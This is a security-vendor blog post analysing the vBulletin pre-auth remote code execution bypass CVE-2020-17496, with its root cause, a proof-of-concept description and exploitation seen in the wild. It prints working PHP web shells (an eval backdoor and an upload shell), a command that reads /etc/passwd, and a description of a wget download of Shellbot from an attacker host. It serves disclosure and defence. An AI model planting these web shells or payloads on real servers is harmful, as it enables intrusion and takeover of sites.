[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/)  
Menu

* [Tools](https://unit42.paloaltonetworks.com/tools/)
* [ATOMs](https://unit42.paloaltonetworks.com/atoms/)
* [Security Consulting](https://www.paloaltonetworks.com/unit42)
* [About Us](https://unit42.paloaltonetworks.com/about-unit-42/)
* [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  English
* [English](https://unit42.paloaltonetworks.com/cve-2020-17496/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/cve-2020-17496/)
* [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research")
* [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research")
* [Vulnerabilities](https://unit42.paloaltonetworks.com/category/vulnerabilities/ "Vulnerabilities")  
  [Vulnerabilities](https://unit42.paloaltonetworks.com/category/vulnerabilities/)

# Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2020-17496

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 9 min read  
Related Products  
[![Advanced Threat Prevention icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced Threat Prevention](https://unit42.paloaltonetworks.com/product-category/advanced-threat-prevention/ "Advanced Threat Prevention")[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/product-category/advanced-url-filtering/ "Advanced URL Filtering")[![Next-Generation Firewall icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Next-Generation Firewall](https://unit42.paloaltonetworks.com/product-category/next-generation-firewall/ "Next-Generation Firewall")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  By:
  
  * [Haozhe Zhang](https://unit42.paloaltonetworks.com/author/haozhe-zhang/)
  * [Qi Deng](https://unit42.paloaltonetworks.com/author/qi-deng/)
  * [Zhibin Zhang](https://unit42.paloaltonetworks.com/author/zhibin-zhang/)
  * [Ruchna Nigam](https://unit42.paloaltonetworks.com/author/ruchna-nigam/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  Published:September 3, 2020

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  Categories:
  
  * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/)
  * [Vulnerabilities](https://unit42.paloaltonetworks.com/category/vulnerabilities/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  Tags:
  
  * [CVE-2019-16759](https://unit42.paloaltonetworks.com/tag/cve-2019-16759/)
  * [CVE-2020-17496](https://unit42.paloaltonetworks.com/tag/cve-2020-17496/)
  * [Exploits](https://unit42.paloaltonetworks.com/tag/exploits/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/cve-2020-17496/?pdf=download&lg=en&_wpnonce=c159619a8e "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/cve-2020-17496/?pdf=print&lg=en&_wpnonce=c159619a8e "Click here to print")

Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Exploits%20in%20the%20Wild%20for%20vBulletin%20Pre-Auth%20RCE%20Vulnerability%20CVE-2020-17496&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2020-17496%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2020-17496%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2020-17496%2F&title=Exploits%20in%20the%20Wild%20for%20vBulletin%20Pre-Auth%20RCE%20Vulnerability%20CVE-2020-17496 "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2020-17496%2F&text=Exploits%20in%20the%20Wild%20for%20vBulletin%20Pre-Auth%20RCE%20Vulnerability%20CVE-2020-17496 "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2020-17496%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Exploits%20in%20the%20Wild%20for%20vBulletin%20Pre-Auth%20RCE%20Vulnerability%20CVE-2020-17496%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2020-17496%2F "Share in Mastodon")

## **Executive Summary**

In September 2019, a remote code execution (RCE) vulnerability identified as [CVE-2019-16759](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16759) was disclosed for vBulletin, a popular forum software. At that time, Unit 42 researchers published a [blog on this vBulletin vulnerability](https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759/), analyzing its root cause and the exploit we found in the wild. By exploiting this vulnerability, an attacker could have gained privileged access and control over any vBulletin server running versions 5.0.0 up to 5.5.4, and potentially lock organizations out from their own sites.

Recently, Unit 42 researchers found exploits in the wild leveraging the vBulletin pre-auth RCE vulnerability [CVE-2020-17496](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17496). The exploits are a bypass of the fix for the previous vulnerability, CVE-2019-16759, which allows attackers to send a crafted HTTP request with a specified template name and malicious PHP code, and leads to remote code execution. [More than 100,000 sites](https://www.vbulletin.com/) are built on vBulletin, including the forums of major enterprises and organizations, so it's imperative to patch immediately.

In this blog, we provide details on the bypass of the patch of the vulnerability, proof of concept code (PoC) to demonstrate the vulnerability and information on attacks we have observed in the wild.

Palo Alto Networks customers are protected by the following services and products via [Threat Prevention](https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/threat-prevention) signatures and [URL Filtering](https://www.paloaltonetworks.com/products/threat-detection-and-prevention/web-security) blocks the related C2 traffic.

## **Root Cause Analysis of the Vulnerability (CVE-2020-17496)**

Template rendering is a functionality of vBulletin that can convert XML templates to PHP code and execute it. Beginning from version 5.0, vBulletin starts to accept Ajax requests for template rendering. The rendering is executed with a function staticRenderAjax. As shown in Figure 1, the values of parameters for this function are from $\_REQUESTS, $\_GET and $\_POST. Thus, the template name and the related config which come from those parameters are user-controllable, which leads to the RCE vulnerability CVE-2019-16759.
![The values and parameters for the function staticRenderAjax are from $\_REQUESTS, $\_GET and $\_POST, as shown by the red arrows.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-5.png) Figure 1. The callRender() in vBulletin \< 5.5.5

When an attacker manipulates an Ajax request that contains template name widget\_php and malicious code placed in the parameter widgetConfig\['code'\], the render engine will convert the XML template widget\_php shown in Figure 2 to a string of PHP code, then execute the code by the eval function highlighted in Figure 3. Since the generated code has a line of vB5\_Template\_Runtime::evalPhp('' . $widgetConfig\['code'\], the malicious code in the request will be executed.

![When an attacker manipulates an Ajax request that contains template name widget\_php and malicious code placed in the parameter widgetConfig\[‘code’\], the render engine will convert the XML template widget\_php to a string of PHP code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-6.png) Figure 2. Template "widget\_php"

PHP  
$final\_rendered = '' . ''; if (empty($widgetConfig) AND !empty($widgetinstanceid)) { $final\_rendered .= ' ' . ''; $widgetConfig = vB5\_Template\_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final\_rendered .= '' . ' '; } else { $final\_rendered .= ''; } $final\_rendered .= '' . ' ' . ''; if (!empty($widgetConfig)) { $final\_rendered .= ' ' . ''; $widgetid = $widgetConfig\['widgetid'\]; $final\_rendered .= '' . ' ' . ''; $widgetinstanceid = $widgetConfig\['widgetinstanceid'\]; $final\_rendered .= '' . ' '; } else { $final\_rendered .= ''; } $final\_rendered .= '' . ' ' . vB5\_Template\_Runtime::includeTemplate('module\_title',array('widgetConfig' =\> $widgetConfig, 'show\_title\_divider' =\> '1', 'can\_use\_sitebuilder' =\> $user\['can\_use\_sitebuilder'\])) . ' ' . ''; if (!empty($widgetConfig\['code'\]) AND !vB::getDatastore()-\>getOption('disable\_php\_rendering')) { $final\_rendered .= ' ' . '' . ' ' . vB5\_Template\_Runtime::evalPhp('' . $widgetConfig\['code'\] . '') . ' '; } else { $final\_rendered .= ' ' . ''; if ($user\['can\_use\_sitebuilder'\]) { $final\_rendered .= ' ' . vB5\_Template\_Runtime::parsePhrase("click\_edit\_to\_config\_module") . ' '; } else { $final\_rendered .= ''; } $final\_rendered .= '' . ' '; } $final\_rendered .= '' . ' ';

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | $final\_rendered = '' . ''; if (empty($widgetConfig) AND !empty($widgetinstanceid)) { $final\_rendered .= ' ' . ''; $widgetConfig = vB5\_Template\_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final\_rendered .= '' . ' '; } else { $final\_rendered .= ''; } $final\_rendered .= '' . ' ' . ''; if (!empty($widgetConfig)) { $final\_rendered .= ' ' . ''; $widgetid = $widgetConfig\['widgetid'\]; $final\_rendered .= '' . ' ' . ''; $widgetinstanceid = $widgetConfig\['widgetinstanceid'\]; $final\_rendered .= '' . ' '; } else { $final\_rendered .= ''; } $final\_rendered .= '' . ' ' . vB5\_Template\_Runtime::includeTemplate('module\_title',array('widgetConfig' =\> $widgetConfig, 'show\_title\_divider' =\> '1', 'can\_use\_sitebuilder' =\> $user\['can\_use\_sitebuilder'\])) . ' ' . ''; if (!empty($widgetConfig\['code'\]) AND !vB::getDatastore()-\>getOption('disable\_php\_rendering')) { $final\_rendered .= ' ' . '' . ' ' . vB5\_Template\_Runtime::evalPhp('' . $widgetConfig\['code'\] . '') . ' '; } else { $final\_rendered .= ' ' . ''; if ($user\['can\_use\_sitebuilder'\]) { $final\_rendered .= ' ' . vB5\_Template\_Runtime::parsePhrase("click\_edit\_to\_config\_module") . ' '; } else { $final\_rendered .= ''; } $final\_rendered .= '' . ' '; } $final\_rendered .= '' . ' '; |

![A red box highlights the function eval($templateCode)](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-7.png) Figure 3. Eval the PHP code rendered from the XML template

Beginning from version 5.5.5, a fix for CVE-2019-16759 was introduced into the function callRender() as shown in Figure 4. It uses a disallow-list mechanism to check the template name. If the name is widget\_php, the engine won't render the requested template.
![Beginning from version 5.5.5, a fix for CVE-2019-16759 was introduced into the function callRender() It uses a disallow-list mechanism to check the template name.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-8.png) Figure 4. The callRender() in vBulletin ≥ 5.5.5

Another fix is that the evalPhp function will check the current template name. After the fix, widget\_php is the only template that can be used to execute PHP code, as shown in Figure 5.
![The code in the red box begins: if (self::currentTemplate() != 'widget\_php') -- It demonstrates how the evalPhp function checks the current template name.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-9.png) Figure 5. evalPhp() executes code only when the template is widget\_php

The fix makes widget\_php the only template that can be utilized for PHP code execution, and meanwhile, restricts the user's access to this template. However, in the latest bypass, we found that another template can be utilized to load this template. That template is widget\_tabbedcontainer\_tab\_panel.
![This shows code from the template widget\_tabbedcontainer\_tab\_panel, which can be utilitzed to load widget\_php](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-10.png) Figure 6. The template widget\_tabbedcontainer\_tab\_panel

This template widget\_tabbedcontainer\_tab\_panel shown in Figure 6, above, is a template that can be used to render multiple child templates. Rendering the template itself doesn't directly lead to the remote code execution. However, the rendering of this template will trigger the rendering of other child templates.

The code below is the PHP code that is rendered from the widget\_tabbedcontainer\_tab\_panel template in XML. After this code is generated, it will be executed.

PHP  
$final\_rendered = '' . ''; $panel\_id = '' . vB5\_Template\_Runtime::vBVar($id\_prefix).vB5\_Template\_Runtime::vBVar($tab\_num) . ''; $final\_rendered .= '' . '' . '' . ' ' . ''; if (isset($subWidgets) AND (is\_array($subWidgets) OR $subWidgets instanceof ArrayAccess)) { foreach ($subWidgets AS $subWidget) { $final\_rendered .= ' ' . vB5\_Template\_Runtime::includeTemplate($subWidget\['template'\],array('widgetConfig' =\> $subWidget\['config'\], 'widgetinstanceid' =\> $subWidget\['widgetinstanceid'\], 'widgettitle' =\> $subWidget\['title'\], 'tabbedContainerSubModules' =\> $subWidget\['tabbedContainerSubModules'\], 'product' =\> $subWidget\['product'\])) . ' '; } }$final\_rendered .= '' . '';

|-------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | $final\_rendered = '' . ''; $panel\_id = '' . vB5\_Template\_Runtime::vBVar($id\_prefix).vB5\_Template\_Runtime::vBVar($tab\_num) . ''; $final\_rendered .= '' . '' . '' . ' ' . ''; if (isset($subWidgets) AND (is\_array($subWidgets) OR $subWidgets instanceof ArrayAccess)) { foreach ($subWidgets AS $subWidget) { $final\_rendered .= ' ' . vB5\_Template\_Runtime::includeTemplate($subWidget\['template'\],array('widgetConfig' =\> $subWidget\['config'\], 'widgetinstanceid' =\> $subWidget\['widgetinstanceid'\], 'widgettitle' =\> $subWidget\['title'\], 'tabbedContainerSubModules' =\> $subWidget\['tabbedContainerSubModules'\], 'product' =\> $subWidget\['product'\])) . ' '; } }$final\_rendered .= '' . ''; |

In the PHP code, it can be seen that the render engine will traverse the "subWidget" and its config from the $subWidgets and create a new template object, after which the rendering will generate its PHP code. In this case, if the string widget\_php is assigned to variable subWidget and the malicious code is placed in the $widgetConfig\['code'\], the malicious code will be executed just like with CVE-2019-16759.

## **Proof of Concept**

Based on our analysis, we can construct the exploit code to prove the functionality. The calling of the function callRender requires the POST HTTP method (according to Figure 7).
![The code highlighted in the red box shows how the POST HTTP method is required to call the function callRender. This is a part of our proof of concept of an exploit of CVE-2020-17496.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-11.png) Figure 7. Call of the callRender()

Figure 8 shows a compromised page that contains the result of the code phpinfo(); with the request information. Figures 9 and 10 show some other manipulated requests that have the same effect.

In the URL, the child template name widget\_php and the malicious code phpinfo();exit(); are in the array subWidget as the first element. When the backend processes this URL, the malicious code will be executed.
![This compromised page, part of our proof of concept of an exploit of CVE-2020-17496, contains the result of the code phpinfo(); with the request information](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-12.png) Figure 8. Reproduction of the exploit -- 1 ![This is another manipulated request shown as part of our proof of concept of an exploit of CVE-2020-17496](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-13.png) Figure 9. Reproduction of the exploit -- 2 ![This is a third manipulated request shown as part of our proof of concept of an exploit of CVE-2020-17496](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-14.png) Figure 10. Reproduction of the exploit -- 3

## **Exploits in the Wild: CVE-2020-17496**

We caught the first incident of CVE-2020-17496 exploitation on Aug. 10, 2020, and later found that exploitation attempts from different IP addresses are ongoing. Note that these are disparate attacks and not a coordinated effort by any particular attackers.

#### Scanning Activities

According to malicious traffic we captured, there are multiple source IPs running scans. These scans are trying to find vulnerable sites and collect that information, which is an early step of cyber attacks. The traffic is shown in Figures 11-15. These payloads try to execute system commands echo and id, which can give attackers knowledge of whether or not the targets are vulnerable according to the responses.
![This is an example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-15.png) Figure 11. Exploit in the wild -- 1 ![This is a second example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-16.png) Figure 12. Exploit in the wild -- 2 ![This is a third example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-17.png) Figure 13. Exploit in the wild -- 3 ![This is a fourth example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-18.png) Figure 14. Exploit in the wild -- 4

#### Sensitive File Reading

Some attackers are trying to exploit the vulnerability and read files on the server-side. The payload contains the PHP function shell\_exec() for the execution of arbitrary system commands and a system command cat ../../../../../../../../../../etc/passwd to read the content of the /etc/passwd. The traffic is shown in Figure 15. Once the attack succeeds, sensitive information from the targets may be disclosed.
![This example of malicious traffic associated with CVE-2020-17496 exploitation shows a payload containing the PHP function shell\_exec() for the execution of system commands.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-19.png) Figure 15. Exploit in the wild -- 5

#### Writing Web Shell

Some attackers are exploiting the vulnerability to install a web shell.

Figure 16 shows that the exploit is trying to write a PHP-based web shell \<?php @eval($\_POST\["x"\]);?\> to the file conf.php on the web host directory with the PHP function file\_put\_content(). Once the attack succeeds, attackers can send their commands via HTTP POST request with the parameter x to the web shell and execute the commands on the server-side.
![This shows that the exploit is trying to write a PHP-based web shell to the file conf.php on the web host directory. Once the attack succeeds, attackers can send their commands via HTTP POST request with the parameter x to the web shell and execute the commands on the server-side.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-20.png) Figure 16. Exploit in the wild -- 6

Figure 17 shows that the exploit is trying to download a PHP script onto the victim server. The webshell code is as below. The code provides an upload page for attackers to upload any files and conduct the follow-up steps of a cyber attack.

\<?php error\_reporting(0); echo "Jasmine\<br\>"; echo"\<font color=#ff0000\>".php\_uname().""; print "\\n";$disable\_functions = @ini\_get("disable\_functions"); echo "\<br\>DisablePHP=".$disable\_functions; print "\\n"; echo"\<br\>\<form method=post enctype=multipart/form-data\>"; echo"\<input type=file name=f\>\<input name=k type=submit id=k value=upload\>\<br\>"; if($\_POST\["k"\]==upload){ if(@copy($\_FILES\["f"\]\["tmp\_name"\],$\_FILES\["f"\]\["name"\])){ echo"\<b\>".$\_FILES\["f"\]\["name"\]; }else{ echo"\<b\>Gagal upload cok"; } } ?\>

|-------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | \<?php error\_reporting(0); echo "Jasmine\<br\>"; echo"\<font color=#ff0000\>".php\_uname().""; print "\\n";$disable\_functions = @ini\_get("disable\_functions"); echo "\<br\>DisablePHP=".$disable\_functions; print "\\n"; echo"\<br\>\<form method=post enctype=multipart/form-data\>"; echo"\<input type=file name=f\>\<input name=k type=submit id=k value=upload\>\<br\>"; if($\_POST\["k"\]==upload){ if(@copy($\_FILES\["f"\]\["tmp\_name"\],$\_FILES\["f"\]\["name"\])){ echo"\<b\>".$\_FILES\["f"\]\["name"\]; }else{ echo"\<b\>Gagal upload cok"; } } ?\> |

![This shows the exploit of CVE-2020-17496 trying to download a PHP script onto the victim server.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-21.png) Figure 17. Exploit in the wild -- 7

Figure 18 shows that the exploit is trying to write base64 encoded PHP code into a file in the web host directory. The new page will lead to an arbitrary file upload entrypoint, allowing attackers to conduct the follow-up steps of a cyber attack.
![This shows that the exploit of CVE-2020-17496 is trying to write base64 encoded PHP code into a file in the web host directory.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-22.png) Figure 18. Exploit in the wild -- 8

#### Downloading Shellbot

Some attackers are utilizing the vulnerability to download a Perl-based script malware (Shellbot) with the PHP function shell\_exec() for the execution of the system command wget from the address http://178\[.\]170\[.\]117\[.\]50/bot1 and run it. The payload can be seen in Figure 19.
![This shows the payload of an exploit of CVE-2020-17496](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-23.png) Figure 19. Exploit in the wild -- 9

Once the script is executed, it will connect to an IRC-based command-and-control (C2) server with the address of 66\[.\]7\[.\]149\[.\]161:6667, join the IRC channel #afk then keep responding to the PING from the server, as in the traffic shown in Figure 20. Once it receives the commands from the chat channel, it will execute the related code of port scanning, download files, execute system commands, start a flood attack, pop a shell to attackers and so on.
![Once the malicious script in the previous figure is executed, it connects to an IRC-based command-and-control server, joins the IRC channel #afk, and responds to the PING from the server, as in the traffic shown here.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-24.png) Figure 20. Traffic during the execution of the ShellBot script

#### Downloading Sora

One exploit is found to download a Mirai variant (Sora) from the attacker's server. However, the payload is ineffective as it uses the wrong HTTP method.
![This exploit of CVE-2020-17496 attempts to download a Mirai variant (Sora) from the attacker's server.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-25.png) Figure 21. Exploit in the wild -- 10

According to analysis of the samples, they spread themselves with different combinations of the exploits of [CVE-2020-5902](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902) (which would be ineffective, as the payload uses bash commands, whereas the exploit requires the injected commands to be specific CLI-compatible ones), [CVE-2020-1937](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1937), [CVE-2020-10173](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10173), [CVE-2020-10987](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10987), Netgear R700 RCE, Netlink GPON Router 1.0.11 RCE and the vulnerability CVE-2020-17496 discussed in this blog.

## **Conclusion**

There are multiple kinds of exploit attempts against vBulletin pre-auth RCE vulnerability CVE-2020-17496 being detected by our threat platform. As a widely used forum software package that has been running for a long time in the market, it has been identified as a prized target by attackers.

vBulletin released the [patch](https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch) to fix this vulnerability on Aug. 10, 2020. Applying the patch to the latest version will mitigate the risks, which is strongly advised.

Palo Alto Networks customers are protected by the following services and products:

* [Threat Prevention](https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/threat-prevention) Signature 59133 and 80671.
* [URL Filtering](https://www.paloaltonetworks.com/products/threat-detection-and-prevention/web-security) blocks the related C2 traffic of the Shellbot.

## **Additional Resources**

* [Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2019-16759](https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759/)

## **Indicators of Compromise**

#### Shellbot Hash

88DDD8A1B77477AAFFD1BB163B9770D72A77BF29BFCA226E79C28D15BEF983ED

#### Mirai Variant (Sora) Hashes

03bfec4e039805091fe30fa978d5ec7f28431bb0fca4b137e075257b3e1c0dd4

b4cb04709f613b5363514e75984084ef1d3eaba7c50638b2a5a284680831b992

94f02ea10b4546da71bd46916f0fe260b40c8ed4deccf0588687e62ca3819ad7

bd72be4f7d64795b902f352e47b1654eaee6b5a71cddfaf2c245dba1b2d602eb

77b4f7f0d66a0333d756116eaae567a8540392f558c49d507bf6da10bd047fe3

051baaabf205c7c0f5fd455ac5775447f9f3df0cc9bc5f66f6d386f368520581

fd63b9c7e9dce51348d9600f67139ea8959fdbbca84d505b5e9317bbdca74016

8b5810e07cf21ebb1c2ff23c13ce88022c1dd5bc2df32f4d7e5480b4ddb82de2

ded23c3f5f2950257d8cfb215c40d5f54b28fde23c02f61ce1eb746843f43397

80fb66c6b1191954c31734355a236b7342dc3fd074ead47f9c1ed465561c6e8c

f30bb52c0e32dfe524fc0dfda1724a1ffb88647c39c33a66dfd66109fecceec7

1900e09983acf7ddc658b860be7875a527bc914cbffcf0aaff0b4182ecef047b

fa7575bd0cd2a83995ea34d8d008eb07c2062a843e5e155e2e0d8b35a0cf7901

68132010d9a543a6a2a9ea61e771cf2c041cea259cc76affdfe663e20c130a45

ab671fc0c68ed1c249c2bb52b28ae3d70df8bd1614d86f6d6a3f4c21d7841d72

4ff21e69b11566336f4fd56ac2829cdcf215182e8ff807f8e744c0a2b08f726f

a7373fa18b367edbcd4462345a5da087821e34734bdf05d1c4060a7694868c5e

dec56b06e03665d2c656b530d3b6f90ca0ec2925bec4559d8a2cec5da3a7700b

c379139347470254f19041f05e19f5454750e052f04f6d377ec8df19ce959519

fed0f0d3e9d990f8a83b86d29e586d46e7cac54efb0eae2f07112d61afb9b885

84448ee487010d6fed918febe230b71a8ec1266e300f85933014db2566645857

994889422b24a5b4759eda30265f1b933a458e15927b4f7949d4a3ba79eb43ca

39b6d72101adae2b71815328599f8e67ee27955849dfb3825c5b2731d504696b

0747988a77c89c1267a882b663fbd4168e25aed239fb1553e65bb4ac74ecda67

99d06d1c82af244b1533c1173ca10da7f29bfbf753073f20f5dc7a0016152a4c

372ab5c1c23d198b594353239a96d6cf620cc56588f5fdf5dfb32919dd019020

ef2a6b37568e14dacd5d8894ce2e4bbc593ffd58e197827a052d2c2f0a756949

1cf9ac9150d59de25ca5ac1f855fadf1b03f13b4e9ced63a12acef9c8292a648

cf172b4629e321e4c78a1d0717130bbb693392712a86d3d85d035bae1f377dbd

1a0293d4863ccef36e138e4f6c65ad013a403db0ffc69ebaf04b43b61b4ba798

2a14b9b01ec78a332be40339a782a2cf2bf9a237eee9cc5fcd40fa3385b1d4fb

f56150ff764328ee59eeaafe5e2d63574b475a69386c9ac4978006070807edc9

9572a532c08f81d7957ffd4639f95c34a2085f119fa426d8ea911af72bfd0b4a

113ad91a1aab3abcd704fe8670fbc043f049586462a4c58dabdd44c14519ea66

f9d7d9b11c60bd52625e7d9a33516c2bac96ac542a22696d0da3a9c536dae11b

6f01ef6670ecd79f9b322dd8521bc13a73037e7f84fa9aad35d11d964d8f9e60

2960748648bc2cd1b3db5e1e1ce9931a6588d65ae91c6d09e6b8bf2d78b00263

#### IP Addresses

66\[.\]7\[.\]149\[.\]161

178\[.\]170\[.\]117\[.\]50

Back to top

### Tags

* [CVE-2019-16759](https://unit42.paloaltonetworks.com/tag/cve-2019-16759/ "CVE-2019-16759")
* [CVE-2020-17496](https://unit42.paloaltonetworks.com/tag/cve-2020-17496/ "CVE-2020-17496")
* [Exploits](https://unit42.paloaltonetworks.com/tag/exploits/ "exploits")  
  [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Cybersquatting: Attackers Mimicking Domains of Major Brands Including Facebook, Apple, Amazon and Netflix to Scam Consumers](https://unit42.paloaltonetworks.com/cybersquatting/ "Cybersquatting: Attackers Mimicking Domains of Major Brands Including Facebook, Apple, Amazon and Netflix to Scam Consumers")

### Table of Contents

* 

### Related Articles

* [Threat Assessment: Active Exploitation of Four Zero-Day Vulnerabilities in Microsoft Exchange Server](https://unit42.paloaltonetworks.com/microsoft-exchange-server-vulnerabilities/ "article - table of contents")
* [Network Attack Trends: Internet of Threats (August-October 2020)](https://unit42.paloaltonetworks.com/network-attack-trends-internet-threats/ "article - table of contents")
* [Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2019-16759](https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759/ "article - table of contents")

## Related Vulnerabilities Resources

